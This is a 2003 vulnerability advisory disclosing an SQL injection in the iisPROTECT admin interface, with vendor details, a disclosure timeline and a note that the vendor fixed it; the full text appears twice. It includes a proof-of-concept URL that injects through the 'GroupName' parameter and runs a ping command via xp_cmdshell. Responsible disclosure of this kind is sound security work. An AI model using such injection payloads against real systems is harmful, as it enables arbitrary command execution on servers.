Gyrniff
23/05/03, 18:05
Release Date: 23.05.2003
Application: iisPROTECT v/2.2-r4 (and probably earlier versions)
Vendor: iisPROTECT
#536, 425 Carrall St.
Vancouver, BC,
V6B6E3, Canada
http://www.iisprotect.com/
Category: SQL injection in admin interface
Risk: Medium-High
Impact: Arbitrary command execution
Vendor Status: First notified 15/04-2003 17:36 (+1)
Fixed 15/04-2003 22:47 (+1)
Author: Torben 'Gyrniff' Frohn
email: nn@gyrniff.dk
Intro
====
From vendor site: "iisPROTECT is a high performance user authentication,
password protection and member system".
iisPROTECT has a webbased admin interface, the interface lacks sanitising on
almost every variable. Successfully exploited some of the variables can be
used to inject and execute SQL statements.
iisPROTECT uses either a MS access file or a MS SQL-server. In the testing
environment the MS SQL-server solution is chosen.
Exploit (Proof of Concept)
===================
The following URL exploits the "GroupName" variable and uses the stored
procedure "xp_cmdshell" to execute the command "ping":
http://x.x.x.x/iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=gyrniff_gr';exec%20master..xp_cmdshell'p ing%2010.10.10.11';--
Fix
===
Vendor has fixed this problem.
Credits
=====
Vulnerability found by Torben Frohn (Gyrniff)
Application: iisPROTECT v/2.2-r4 (and probably earlier versions)
Vendor: iisPROTECT
#536, 425 Carrall St.
Vancouver, BC,
V6B6E3, Canada
http://www.iisprotect.com/
Category: SQL injection in admin interface
Risk: Medium-High
Impact: Arbitrary command execution
Vendor Status: First notified 15/04-2003 17:36 (+1)
Fixed 15/04-2003 22:47 (+1)
Author: Torben 'Gyrniff' Frohn
email: nn@gyrniff.dk
Intro
====
From vendor site: "iisPROTECT is a high performance user authentication,
password protection and member system".
iisPROTECT has a webbased admin interface, the interface lacks sanitising on
almost every variable. Successfully exploited some of the variables can be
used to inject and execute SQL statements.
iisPROTECT uses either a MS access file or a MS SQL-server. In the testing
environment the MS SQL-server solution is chosen.
Exploit (Proof of Concept)
===================
The following URL exploits the "GroupName" variable and uses the stored
procedure "xp_cmdshell" to execute the command "ping":
http://x.x.x.x/iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=gyrniff_gr';exec%20master..xp_cmdshell'p ing%2010.10.10.11';--
Fix
===
Vendor has fixed this problem.
Credits
=====
Vulnerability found by Torben Frohn (Gyrniff)